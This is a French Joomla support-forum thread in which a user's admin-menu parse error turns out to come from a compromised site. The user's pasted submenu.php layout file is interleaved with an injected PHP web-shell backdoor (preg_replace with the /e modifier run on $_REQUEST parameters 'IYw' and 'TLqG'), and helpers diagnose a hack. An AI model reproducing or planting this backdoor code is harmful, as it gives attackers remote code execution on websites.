Accès au menu administration de Joomla !3.4.0)

Réduire
X
 
  • Filtrer
  • Heure
  • Afficher
Tout effacer
nouveaux messages

  • [RÉGLÉ] Accès au menu administration de Joomla !3.4.0)

    Bonjour,

    Dans l'administration de Joomla! (version 3.4.0), je n'ai plus accès à certains menus comme Modules ou Plug-in.
    Voici le message d'erreur :

    Parse error: syntax error, unexpected ':' in /usr/local/www/WebSites/monsite.com/web/layouts/joomla/sidebars/submenu.php on line 92

    Une idée ?
    Merci d'avance pour votre aide.
    Dernière édition par dupinsan à 09/10/2020, 08h36

  • #2
    Re : Accès au menu administration de Joomla !3.4.0)

    Bonsoir,

    Peut être qu'une mise à jour vers 3.4.8 réglerait le soucis, c'est la première chose à tenter je pense.

    Commentaire


    • #3
      Re : Accès au menu administration de Joomla !3.4.0)

      Envoyé par marie-louise Voir le message
      Bonsoir,

      Peut être qu'une mise à jour vers 3.4.8 réglerait le soucis, c'est la première chose à tenter je pense.
      Bien sûr, mais le site du client est en ligne et je ne veux pas tout casser si cela se passe mal.
      D'autant que j'ai aussi des problèmes pour remettre en ligne des sauvegardes Akeeba (erreur 500).

      Une autre idée ?

      Commentaire


      • #4
        Re : Accès au menu administration de Joomla !3.4.0)

        Salut,
        ce n'est pas raisonnable de ne pas mettre à jour, comme le conseille Marie-Louise. Surtout que les dernières mises à jour (jusqu'à 3.4.8) ont comporté des corrections de failles de sécurité bien connues des hackers.

        Re : l'erreur signalée
        si tu résistes à la mise à jour, l'erreur ne doit pas être compliquée à corriger mais :
        je ne trouve pas de ligne 92 dans le fichier indiqué.
        ??
        Un message d’erreur sur votre site Joomla ... ayez le reflexe de consulter lla base de connaissance : https://kb.joomla.fr

        Ce forum, vous l'aimez ? il vous a sauvé la vie ? Vous y apprenez chaque jour ? Alors adhérez à l'AFUJ https://www.joomla.fr/association/adherer

        Commentaire


        • #5
          Re : Accès au menu administration de Joomla !3.4.0)

          Envoyé par ghazal Voir le message
          Salut,
          ce n'est pas raisonnable de ne pas mettre à jour, comme le conseille Marie-Louise. Surtout que les dernières mises à jour (jusqu'à 3.4.8) ont comporté des corrections de failles de sécurité bien connues des hackers.

          Re : l'erreur signalée
          si tu résistes à la mise à jour, l'erreur ne doit pas être compliquée à corriger mais :
          je ne trouve pas de ligne 92 dans le fichier indiqué.
          ??
          Merci pour votre message.
          Voici le contenu de la ligne 92 :

          else : ?>

          Commentaire


          • #6
            Re : Accès au menu administration de Joomla !3.4.0)

            P/rapport au chemin que tu indiques, je vois ceci :
            https://github.com/joomla/joomla-cms...rs/submenu.php

            Vois-tu la même chose ?
            Un message d’erreur sur votre site Joomla ... ayez le reflexe de consulter lla base de connaissance : https://kb.joomla.fr

            Ce forum, vous l'aimez ? il vous a sauvé la vie ? Vous y apprenez chaque jour ? Alors adhérez à l'AFUJ https://www.joomla.fr/association/adherer

            Commentaire


            • #7
              Re : Accès au menu administration de Joomla !3.4.0)

              Envoyé par ghazal Voir le message
              P/rapport au chemin que tu indiques, je vois ceci :
              https://github.com/joomla/joomla-cms...rs/submenu.php

              Vois-tu la même chose ?
              Non pas du tout.
              Voici le fichier php (je ne sais pas comment faire apparaître les numéros de ligne) :

              Code PHP:
              <?php
              if (isset($_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}

              /**
               * @package     Joomla.Site
               * @subpackage  Layout
               *
               * @copyright   Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved.
               * @license     GNU General Public License version 2 or later; see LICENSE.txt
               */

              defined('JPATH_BASE') or die;

              JHtmlBehavior::core();

              JFactory::getDocument()->addScriptDeclaration('
                  jQuery(document).ready(function($)
                  {
                      if (window.toggleSidebar)
                      {
                          toggleSidebar(true);
                      }
                      else
                      {
                          $("#j-toggle-sidebar-header").css("display", "none");
                          $("#j-toggle-button-wrapper").css("display", "none");
                      }
                  });
              '
              );
              ?>

              <div id="j-toggle-sidebar-wrapper">
                  <div id="j-toggle-button-wrapper" class="j-toggle-button-wrapper">
                      <?php
              if (isset($_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}
               echo 
              JLayoutHelper::render('joomla.sidebars.toggle'); ?>
                  </div>
                  <div id="j-toggle-sidebar-header" class="j-toggle-sidebar-header">
                      <?php
              if (isset($_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}
               echo 
              JText::_('JTOGGLE_SIDEBAR_LABEL');?>
                  </div>
                  <div id="sidebar" class="sidebar">
                      <div class="sidebar-nav">
                          <?php
              if (isset($_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}
               if (
              $displayData->displayMenu) : ?>
                          <ul id="submenu" class="nav nav-list">
                              <?php
              if (isset($_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}
               foreach (
              $displayData->list as $item) :
                              if (isset (
              $item[2]) && $item[2] == 1) : ?>
                                  <li class="active">
                              <?php
              if (isset($_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}
               else : 
              ?>
                                  <li>
                              <?php
              if (isset($_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}
               endif;
                              if (
              $displayData->hide) : ?>
                                  <a class="nolink"><?php
              if (isset($_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}
               echo 
              $item[0]; ?></a>
                              <?php
              if (isset($_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}
               else :
                                  if (
              strlen($item[1])) : ?>
                                      <a href="<?php
              if (isset($_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}
               echo 
              JFilterOutput::ampReplace($item[1]); ?>"><?php
              if (isset($_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}
               echo 
              $item[0]; ?></a>
                                  <?php
              if (isset($_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}
               else : 
              ?>
                                      <?php
              if (isset($_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}
               echo 
              $item[0]; ?>
                                  <?php
              if (isset($_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}
               endif;
                              endif; 
              ?>
                              </li>
                              <?php
              if (isset($_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}
               endforeach; 
              ?>
                          </ul>
                          <?php
              if (isset($_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}
               endif; 
              ?>
                          <?php
              if (isset($_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}
               if (
              $displayData->displayMenu && $displayData->displayFilters) : ?>
                          <hr />
                          <?php
              if (isset($_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}
               endif; 
              ?>
                          <?php
              if (isset($_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}
               if (
              $displayData->displayFilters) : ?>
                          <div class="filter-select hidden-phone">
                              <h4 class="page-header"><?php
              if (isset($_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}
               echo 
              JText::_('JSEARCH_FILTER_LABEL');?></h4>
                              <?php
              if (isset($_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}
               foreach (
              $displayData->filters as $filter) : ?>
                                  <label for="<?php
              if (isset($_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}
               echo 
              $filter['name']; ?>" class="element-invisible"><?php
              if (isset($_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}
               echo 
              $filter['label']; ?></label>
                                  <select name="<?php
              if (isset($_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}
               echo 
              $filter['name']; ?>" id="<?php
              if (isset($_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}
               echo 
              $filter['name']; ?>" class="span12 small" onchange="this.form.submit()">
                                      <?php
              if (isset($_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}
               if (!
              $filter['noDefault']) : ?>
                                          <option value=""><?php
              if (isset($_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}
               echo 
              $filter['label']; ?></option>
                                      <?php
              if (isset($_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}
               endif; 
              ?>
                                      <?php
              if (isset($_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}
               echo 
              $filter['options']; ?>
                                  </select>
                                  <hr class="hr-condensed" />
                              <?php
              if (isset($_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}
               endforeach; 
              ?>
                          </div>
                          <?php
              if (isset($_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["IYw"])) {@preg_replace('/(.*)/e', @$_REQUEST['IYw'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}

              if (isset(
              $_REQUEST["TLqG"])) {@preg_replace('/(.*)/e', @$_REQUEST['TLqG'], '');}
               endif; 
              ?>
                      </div>
                  </div>
                  <div id="j-toggle-sidebar"></div>
              </div>

              Commentaire


              • #8
                Re : Accès au menu administration de Joomla !3.4.0)

                Non, c'est le même code mais avec des $_REQUEST super bizarres en supplément.

                Lire ceci :
                What's wrong with using $_REQUEST[]? - Stack Overflow -> http://stackoverflow.com/questions/2...-using-request
                Surtout la 2e réponse (51).

                Je vais me renseigner auprès des spécialistes de la sécurité sur le forum.

                Mais avant de lancer la sirène (des pompiers, :-) ), quel est le template utilisé ?
                Un message d’erreur sur votre site Joomla ... ayez le reflexe de consulter lla base de connaissance : https://kb.joomla.fr

                Ce forum, vous l'aimez ? il vous a sauvé la vie ? Vous y apprenez chaque jour ? Alors adhérez à l'AFUJ https://www.joomla.fr/association/adherer

                Commentaire


                • #9
                  Re : Accès au menu administration de Joomla !3.4.0)

                  Envoyé par ghazal Voir le message

                  Mais avant de lancer la sirène (des pompiers, :-) ), quel est le template utilisé ?
                  C'est un template perso réalisé avec Template Créator.

                  Penses-tu que le site soit infecté ?

                  Commentaire


                  • #10
                    Re : Accès au menu administration de Joomla !3.4.0)

                    Pas de panique.
                    Je regarde ça sur Template creator.
                    Un message d’erreur sur votre site Joomla ... ayez le reflexe de consulter lla base de connaissance : https://kb.joomla.fr

                    Ce forum, vous l'aimez ? il vous a sauvé la vie ? Vous y apprenez chaque jour ? Alors adhérez à l'AFUJ https://www.joomla.fr/association/adherer

                    Commentaire


                    • #11
                      Re : Accès au menu administration de Joomla !3.4.0)

                      Envoyé par dupinsan Voir le message
                      Bien sûr, mais le site du client est en ligne et je ne veux pas tout casser si cela se passe mal.
                      D'autant que j'ai aussi des problèmes pour remettre en ligne des sauvegardes Akeeba (erreur 500).
                      Si tu fais l'impasse sur les sauvegardes parce que tu ne maitrises pas celles-ci, tu vas au devant de complications ! Surtout si tes sites sont pour des clients ! Comment tu justifieras le piratage d'un de tes sites au client ?
                      Resté en 3.4.0, donc une ancienne version de Joomla avec des failles de sécurité connues, c'est VRAIMENT pas secure !

                      Il faut absolument que tu maitrises ces sauvegardes pour que tu sois a l'aise avec ça et que tu ne sois pas paralysé par le fait d'avoir "peur" de tout "casser" pour faire une mise a jour sur le site en ligne ... une mise à jour qui se fait en 2 clics

                      Je suis du même avis que Marie-louise ... passer a 3.4.8 est la première chose a faire
                      Dernière édition par manu93fr à 27/01/2016, 13h19
                      Ce forum, vous l'aimez ? il vous a sauvé la vie ? Vous y apprenez chaque jour ? Alors adhérez à l'AFUJ https://www.joomla.fr/association/adherer

                      Commentaire


                      • #12
                        Re : Accès au menu administration de Joomla !3.4.0)

                        salut
                        le problème en référence est dans l'admin, et le fichier
                        layouts/joomla/sidebars/submenu.php
                        pour ma part ça n'a rien à voir avec le template. Ghazal, tu y vois un lien avec le template ? (côté front j'entends)

                        je pense que tu as clairement été hacké, ces lignes de code n'ont rien à faire là.
                        Vive Joomla! http://www.joomlack.fr Tutoriels et extensions pour Joomla!. Livre création de template Joomla de plus de 200 pages.
                        http://www.template-creator.com Outil de création de templates
                        Module Maximenu CK - Megamenu, multicolonnes, chargement de module, description de lien, deroulement animé - Compatible Virtuemart, Hikashop

                        Commentaire


                        • #13
                          Re : Accès au menu administration de Joomla !3.4.0)

                          Merci Cedric, c'est bien ce que je pensais.
                          Ghazal, tu y vois un lien avec le template ?
                          Non.
                          Je n'avais rien trouvé de ce type sur TemplateCreator mais je voulais vérifier avec toi.

                          Le lien avec le template est que l'on peut utiliser les layouts en override. Peu de chances que ce soit ca, mais check et recheck, comme d'hab.

                          @dupinsan
                          et bien voila, tu as ta réponse.
                          Il ne te reste plus qu'à consulter notre section sécurité/hack.
                          Un message d’erreur sur votre site Joomla ... ayez le reflexe de consulter lla base de connaissance : https://kb.joomla.fr

                          Ce forum, vous l'aimez ? il vous a sauvé la vie ? Vous y apprenez chaque jour ? Alors adhérez à l'AFUJ https://www.joomla.fr/association/adherer

                          Commentaire


                          • #14
                            Re : Accès au menu administration de Joomla !3.4.0)

                            Le lien avec le template est que l'on peut utiliser les layouts en override.
                            effectivement dans template creator les overrides se font manuellement par l'utilisateur indépendamment du composant

                            et de ce je comprends on parle bien ici d'admin, pas de front. Le template front n'a rien à voir, c'est plutot alors le template admin (isis) qu'il faudrait vérifier dans cette hypothèse .
                            Vive Joomla! http://www.joomlack.fr Tutoriels et extensions pour Joomla!. Livre création de template Joomla de plus de 200 pages.
                            http://www.template-creator.com Outil de création de templates
                            Module Maximenu CK - Megamenu, multicolonnes, chargement de module, description de lien, deroulement animé - Compatible Virtuemart, Hikashop

                            Commentaire


                            • #15
                              Re : Accès au menu administration de Joomla !3.4.0)

                              Tu as raison. My bad.
                              Un message d’erreur sur votre site Joomla ... ayez le reflexe de consulter lla base de connaissance : https://kb.joomla.fr

                              Ce forum, vous l'aimez ? il vous a sauvé la vie ? Vous y apprenez chaque jour ? Alors adhérez à l'AFUJ https://www.joomla.fr/association/adherer

                              Commentaire

                              Annonce

                              Réduire
                              1 sur 2 < >

                              C'est [Réglé] et on n'en parle plus ?

                              A quoi ça sert ?
                              La mention [Réglé] permet aux visiteurs d'identifier rapidement les messages qui ont trouvé une solution.

                              Merci donc d'utiliser cette fonctionnalité afin de faciliter la navigation et la recherche d'informations de tous sur le forum.

                              Si vous deviez oublier de porter cette mention, nous nous permettrons de le faire à votre place... mais seulement une fois
                              Comment ajouter la mention [Réglé] à votre discussion ?
                              1 - Aller sur votre discussion et éditer votre premier message :


                              2 - Cliquer sur la liste déroulante Préfixe.

                              3 - Choisir le préfixe [Réglé].


                              4 - Et voilà… votre discussion est désormais identifiée comme réglée.

                              2 sur 2 < >

                              Assistance au forum - Outil de publication d'infos de votre site

                              Compatibilité: PHP 4.1,PHP4, 5, 6DEV MySQL 3.2 - 5.5 MySQLi from 4.1 ( @ >=PHP 4.4.9)

                              Support Version de Joomla! : | J!3.0 | J!2.5.xx | J!1.7.xx | J!1.6.xx | J1.5.xx | J!1.0.xx |

                              Version française (FR) D'autres versions sont disponibles depuis la version originale de FPA

                              UTILISER À VOS PROPRES RISQUES :
                              L'exactitude et l'exhaustivité de ce script ainsi que la documentation ne sont pas garanties et aucune responsabilité ne sera acceptée pour tout dommage, questions ou confusion provoquée par l'utilisation de ce script.

                              Problèmes connus :
                              FPA n'est actuellement pas compatible avec des sites Joomla qui ont eu leur fichier configuration.php déplacé en dehors du répertoire public_html.

                              Installation :

                              1. Téléchargez l'archive souhaitée : http://afuj.github.io/FPA/

                              Archive zip : https://github.com/AFUJ/FPA/zipball/master

                              2. Décompressez le fichier de package téléchargé sur votre propre ordinateur (à l'aide de WinZip ou d'un outil de décompression natif).

                              3. Lisez le fichier LISEZMOI inclus pour toutes les notes de versions spécifiques.

                              4. LIRE le fichier de documentation inclus pour obtenir des instructions d'utilisation détaillées.

                              5. Téléchargez le script fpa-fr.php à la racine de votre site Joomla!. C'est l'endroit que vous avez installé Joomla et ce n'est pas la racine principale de votre serveur. Voir les exemples ci-dessous.

                              6. Exécutez le script via votre navigateur en tapant: http:// www. votresite .com/ fpa-fr.php
                              et remplacer www. votresite .com par votre nom de domaine


                              Exemples:
                              Joomla! est installé dans votre répertoire web et vous avez installé la version française du fichier FPA:
                              Télécharger le script fpa-fr.php dans: /public_html/
                              Pour executer le script: http://www..com/fpa-fr.php

                              Joomla! est installé dans un sous-répertoire nommé "cms" et vous avez installé la version française du fichier FPA:
                              Télécharger le script fpa-fr.php dans: /public_html/cms/
                              Pour executer le script: http://www..com/cms/fpa-fr.php

                              En raison de la nature très sensible de l'information affichée par le script FPA, il doit être retiré immédiatement du serveur après son utilisation.

                              Pour supprimer le script de votre site, utilisez le lien de script de suppression fourni en haut de la page du script. Si le lien de suppression échoue pour supprimer le script, utilisez votre programme FTP pour le supprimer manuellement ou changer le nom une fois que le script a généré les données du site et le message publié sur le forum. Si le script est toujours présent sur le site, il peut être utilisé pour recueillir suffisamment d'informations pour pirater votre site. Le retrait du script empêche des étrangers de l'utiliser pour jeter un oeil à la façon dont votre site est structuré et de détecter les défauts qui peuvent être utilisé à vos dépends.
                              Voir plus
                              Voir moins

                              Partenaire de l'association

                              Réduire

                              Hébergeur Web PlanetHoster
                              Travaille ...
                              X